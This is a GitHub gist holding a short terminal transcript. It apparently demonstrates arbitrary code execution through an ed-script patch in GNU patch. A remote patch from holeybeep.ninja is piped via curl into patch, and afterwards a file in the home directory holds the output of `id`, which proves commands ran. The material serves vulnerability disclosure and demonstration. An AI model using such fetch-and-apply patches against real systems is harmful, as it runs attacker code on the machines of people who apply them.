Skip to content

Instantly share code, notes, and snippets.

@SpComb
Last active April 5, 2018 14:34
Show Gist options
  • Save SpComb/318adb4eb4015e4466bec0b9715479b3 to your computer and use it in GitHub Desktop.
Save SpComb/318adb4eb4015e4466bec0b9715479b3 to your computer and use it in GitHub Desktop.
code execution from ed-script patches
$ cat ~/pwn.lol
cat: /home/terom/pwn.lol: No such file or directory
$ curl -s https://holeybeep.ninja/beep.patch | patch -p1
patching file beep.c
?
sh: 1: beep: not found
e.type = EV_SND;
patch: **** ed FAILED
$ cat ~/pwn.lol
uid=1000(terom) gid=100(users) groups=100(users),27(sudo),999(docker)
$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment